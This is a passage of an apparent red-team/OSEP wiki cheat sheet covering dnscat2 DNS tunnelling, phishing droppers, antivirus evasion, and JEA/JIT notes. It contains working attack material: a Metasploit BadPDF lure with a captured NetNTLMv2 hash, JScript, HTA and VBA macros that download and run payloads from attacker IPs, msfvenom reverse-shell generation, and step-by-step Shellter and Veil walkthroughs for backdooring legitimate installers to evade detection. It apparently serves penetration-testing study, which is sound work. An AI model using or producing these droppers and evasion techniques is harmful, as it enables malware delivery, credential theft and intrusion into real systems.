&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Commands Interactively&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; shell&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Switch to New Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; session -i 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tunneling TCP with dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;TCP/IP Tunnels Over DNS&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; listen 127.0.0.1:3389 172.16.51.21:3389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dropper / Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== [BAD]PDF ===&lt;br /&gt;
&lt;br /&gt;
[https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/fileformat/badpdf BADPDF Malicious PDF Creator - Metasploit - InfosecMatter]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible.&lt;br /&gt;
# Use the metasploit exploit and generate a PDF&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set lhost 10.10.14.8&lt;br /&gt;
lhost =&amp;gt; 10.10.14.8&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set filename job.pdf&lt;br /&gt;
filename =&amp;gt; job.pdf&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; run&lt;br /&gt;
# Start a SMB server&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
# Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash.&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0&lt;br /&gt;
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Incoming connection (10.10.110.35,4181)&lt;br /&gt;
[*] AUTHENTICATE_MESSAGE (Domain\Testuser,WORKSTATION-1)&lt;br /&gt;
[*] User WORKSTATION-1\Testuserauthenticated successfully&lt;br /&gt;
[*] Testuser::Domain:aaaaaaaaaaaaaaaa:40646fb31db19903e6a24ac5c3890ac9:01010000000000008054d853f122da0170c426f90c3a2d790000000001001000660049004f006a0070007a006400510003001000660049004f006a0070007a0064005100020010005a006b007a004900670056004e005000040010005a006b007a004900670056004e005000070008008054d853f122da010600040002000000080030003000000000000000000000000020000035dd0d4de6e44f56171932c0f1522230b9e11da16aa17557679e5fb48c1918560a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0038000000000000000000&lt;br /&gt;
[*] Closing down connection (10.10.110.35,4181)&lt;br /&gt;
[*] Remaining connections []&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Jscript (.js) ===&lt;br /&gt;
&lt;br /&gt;
* It downloads a file from a specified URL (&amp;quot; [http://192.168.119.120/met.exe http://192.168.1.126/met.exe]&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
* It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content.&lt;br /&gt;
&lt;br /&gt;
* If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named &amp;quot;met.exe&amp;quot; using the `ADODB.Stream` object.&lt;br /&gt;
&lt;br /&gt;
* It then uses the `WScript.Shell` object to run the &amp;quot;met.exe&amp;quot; file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot; http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var Object = WScript.CreateObject(&#039;MSXML2.XMLHTTP&#039;);&lt;br /&gt;
Object.Open(&#039;GET&#039;, url, false);&lt;br /&gt;
Object.Send();&lt;br /&gt;
if (Object.Status == 200)&lt;br /&gt;
{&lt;br /&gt;
    var Stream = WScript.CreateObject(&#039;ADODB.Stream&#039;);&lt;br /&gt;
    Stream.Open();&lt;br /&gt;
    Stream.Type = 1;&lt;br /&gt;
    Stream.Write(Object.ResponseBody);&lt;br /&gt;
    Stream.Position = 0;&lt;br /&gt;
    Stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    Stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var r = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Proxy-aware ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot;http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var xmlhttp = new ActiveXObject(&amp;quot;MSXML2.XMLHTTP.3.0&amp;quot;);&lt;br /&gt;
// Set proxy details using setProxy method&lt;br /&gt;
xmlhttp.setProxy(2, &amp;quot;http://proxy.example.com:8080&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
xmlhttp.open(&amp;quot;GET&amp;quot;, url, false);&lt;br /&gt;
xmlhttp.send();&lt;br /&gt;
if (xmlhttp.status === 200) {&lt;br /&gt;
    var stream = new ActiveXObject(&amp;quot;ADODB.Stream&amp;quot;);&lt;br /&gt;
    stream.Open();&lt;br /&gt;
    stream.Type = 1;&lt;br /&gt;
    stream.Write(xmlhttp.responseBody);&lt;br /&gt;
    stream.Position = 0;&lt;br /&gt;
    stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
shell.Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTA ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/Phishing/nonDN2J.hta OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var re = shell.Run(&amp;quot;powershell -windowstyle hidden bitsadmin /Transfer newjob3 http://192.168.49.173/enc3.txt c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\bypass.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;)&lt;br /&gt;
//var res = shell.Run(&amp;quot;bitsadmin /Transfer newjob2 http://192.168.49.173/enc2.txt c:\\windows\\temp\\enc1.txt&amp;quot;);&lt;br /&gt;
//var res1 = shell.Run(&amp;quot;timeout 10 &amp;amp;&amp;amp; certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
//var res2 = shell.Run(&amp;quot;timeout 12 &amp;amp;&amp;amp; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
var ress = shell.Run(&amp;quot;powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay.&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
 Dim str As String&lt;br /&gt;
 str = &amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/msfstaged.exe&#039;,&lt;br /&gt;
&#039;msfstaged.exe&#039;)&amp;quot;&lt;br /&gt;
 Shell str, vbHide&lt;br /&gt;
 Dim exePath As String&lt;br /&gt;
 exePath = ActiveDocument.Path + &amp;quot;\msfstaged.exe&amp;quot;&lt;br /&gt;
 Wait (2)&lt;br /&gt;
 Shell exePath, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Wait(n As Long)&lt;br /&gt;
 Dim t As Date&lt;br /&gt;
 t = Now&lt;br /&gt;
 Do&lt;br /&gt;
 DoEvents&lt;br /&gt;
 Loop Until Now &amp;gt;= DateAdd(&amp;quot;s&amp;quot;, n, t)&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EXE to DLL ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/hasherezade/exe_to_dll hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Usage&lt;br /&gt;
#Run exe_to_dll from commandline. Arguments:&lt;br /&gt;
args:&lt;br /&gt;
# Example:&lt;br /&gt;
exe_to_dll.exe test_case1.exe test_case1.dll&lt;br /&gt;
# After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Evasion techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
=== Hypervisor check ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
class Program&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;hypervisor_check.dll&amp;quot;, CallingConvention = CallingConvention.Cdecl)]&lt;br /&gt;
    public static extern bool is_run_in_hypervisor();&lt;br /&gt;
    static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        bool inHypervisor = is_run_in_hypervisor();&lt;br /&gt;
        Console.WriteLine(inHypervisor ? &amp;quot;Running in a hypervisor!&amp;quot; : &amp;quot;Not running in a hypervisor.&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sleep function ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// Import dll&lt;br /&gt;
[DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
// In main&lt;br /&gt;
DateTime t1 = DateTime.Now;&lt;br /&gt;
Sleep(5000);&lt;br /&gt;
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
if (t2 &amp;lt; 1.5)&lt;br /&gt;
   {&lt;br /&gt;
       return;&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Frida - Hooking ==&lt;br /&gt;
&lt;br /&gt;
== Initial Access - All-around tools ==&lt;br /&gt;
&lt;br /&gt;
There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection.&lt;br /&gt;
&lt;br /&gt;
AV bypass can be tedious and some of these tools might help.&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BallisKit - MacroPack ===&lt;br /&gt;
&lt;br /&gt;
[https://www.balliskit.com/ BallisKit]&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
The free version of MacroPack is available here, though it won&#039;t be as good as bypassing AV.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/sevagas/macro_pack&lt;br /&gt;
# Must be installed from Windows machine&lt;br /&gt;
# Some example commands from github. All other commands are available on Github&lt;br /&gt;
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba&lt;br /&gt;
# List all supported file formats&lt;br /&gt;
macro_pack.exe --listformats&lt;br /&gt;
# List all available templates&lt;br /&gt;
macro_pack.exe --listtemplates&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mgeeky&#039;s tools ====&lt;br /&gt;
&lt;br /&gt;
Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sponsors/mgeeky Sponsor @mgeeky on GitHub Sponsors]&lt;br /&gt;
&lt;br /&gt;
[https://binary-offensive.com/software binary-offensive | Offensive IT Security]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Some of my private repositories shared with my Sponsors include:&lt;br /&gt;
MSISnatcher - MSI backdooring companion&lt;br /&gt;
Polonium - AV/EDR benchmarking tool, advanced shellcode loader&lt;br /&gt;
Bloated-EXE-in-LNK&lt;br /&gt;
SharpPRT - PRT extraction helper&lt;br /&gt;
cobalt-initial-opsec - headless agressor script&lt;br /&gt;
BOF.NET - (my fork) stealthily run .NET assemblies in-process&lt;br /&gt;
Carbuncle - (my fork) All you ever wanted from Outlook during RT&lt;br /&gt;
azure-functions-redirector&lt;br /&gt;
digitalocean-app-redirector&lt;br /&gt;
MyStayKit&lt;br /&gt;
Anonymize_CS_Logs&lt;br /&gt;
mgeeky-gists&lt;br /&gt;
and more..&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just Enought Administration (JEA) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Purpose&#039;&#039;&#039;: Provides specific users/groups just enough permissions to execute their tasks without compromising security.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Function&#039;&#039;&#039;: Allows delegated administration via PowerShell. Applicable to both servers and clients.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Benefits&#039;&#039;&#039;:&lt;br /&gt;
Reduces the number of administrators.&lt;br /&gt;
&lt;br /&gt;
* Limits administrator capabilities.&lt;br /&gt;
&lt;br /&gt;
* Provides logging to monitor actions of JEA enabled users.&lt;br /&gt;
&lt;br /&gt;
* JEA sessions typically run in RestrictedRemoteServer mode, with limited commands.&lt;br /&gt;
&lt;br /&gt;
* Files and commands executed in a JEA session might run with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell.&lt;br /&gt;
## Default PSSession Configuration file&lt;br /&gt;
1 @{&lt;br /&gt;
2&lt;br /&gt;
3 # Version number of the schema used for this document&lt;br /&gt;
4 SchemaVersion = &#039;2.0.0.0&#039;&lt;br /&gt;
5&lt;br /&gt;
6 # ID used to uniquely identify this document&lt;br /&gt;
7 GUID = &#039;e4f7e55c-57dc-41b2-bab0-ae4bb209fbe9&#039;&lt;br /&gt;
8&lt;br /&gt;
9 # Author of this document&lt;br /&gt;
10 Author = &#039;administrator&#039;&lt;br /&gt;
11&lt;br /&gt;
12 # Description of the functionality provided by these settings&lt;br /&gt;
13 # Description = &#039;&#039;&lt;br /&gt;
14&lt;br /&gt;
15 # Session type defaults to apply for this session configuration. Can be &#039;RestrictedRemoteServer&#039; (recommended), &#039;Empty&#039;, or 16 &#039;Default&#039;&lt;br /&gt;
16 SessionType = &#039;Default&#039;&lt;br /&gt;
17&lt;br /&gt;
18 # Directory to place session transcripts for this session configuration&lt;br /&gt;
19 # TranscriptDirectory = &#039;C:\Transcripts\&#039;&lt;br /&gt;
20&lt;br /&gt;
21 # Whether to run this session configuration as the machine&#039;s (virtual) administrator account&lt;br /&gt;
22 # RunAsVirtualAccount = $true&lt;br /&gt;
23&lt;br /&gt;
24 # Scripts to run when applied to a session&lt;br /&gt;
25 # ScriptsToProcess = &#039;C:\ConfigData\InitScript1.ps1&#039;, &#039;C:\ConfigData\InitScript2.ps1&#039;&lt;br /&gt;
26&lt;br /&gt;
27 # User roles (security groups), and the role capabilities that should be applied to them when applied to a session&lt;br /&gt;
28 # RoleDefinitions = @{ &#039;CONTOSO\SqlAdmins&#039; = @{ RoleCapabilities = &#039;SqlAdministration&#039; }; &#039;CONTOSO\SqlManaged&#039; = @{ RoleCapabilityFiles = &#039;C:\RoleCapability\SqlManaged.psrc&#039; }; 29 &#039;CONTOSO\ServerMonitors&#039; = @{ VisibleCmdlets = &#039;Get-Process&#039; } }&lt;br /&gt;
29&lt;br /&gt;
30 }&lt;br /&gt;
&lt;br /&gt;
# Enumerate commands. The command below will tell you what kind of commands you&#039;re allowed to run.&lt;br /&gt;
Get-Command&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just-In-Time Access (JIT) ==&lt;br /&gt;
&lt;br /&gt;
* JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case&#039;&#039;&#039;:&lt;br /&gt;
User needs to log in and perform maintenance requiring administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* Instead of giving permanent access, JIT allows for temporary administrative access.&lt;br /&gt;
&lt;br /&gt;
* After the set duration, access is automatically revoked.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Integration&#039;&#039;&#039;:&lt;br /&gt;
Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled.&lt;br /&gt;
&lt;br /&gt;
* PAM writes specific attributes that can be enumerated.&lt;br /&gt;
&lt;br /&gt;
* Once PAM is enabled in AD, it can&#039;t be disabled.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Explotation usually requires approval from another user.&lt;br /&gt;
# Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access.&lt;br /&gt;
# Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement.&lt;br /&gt;
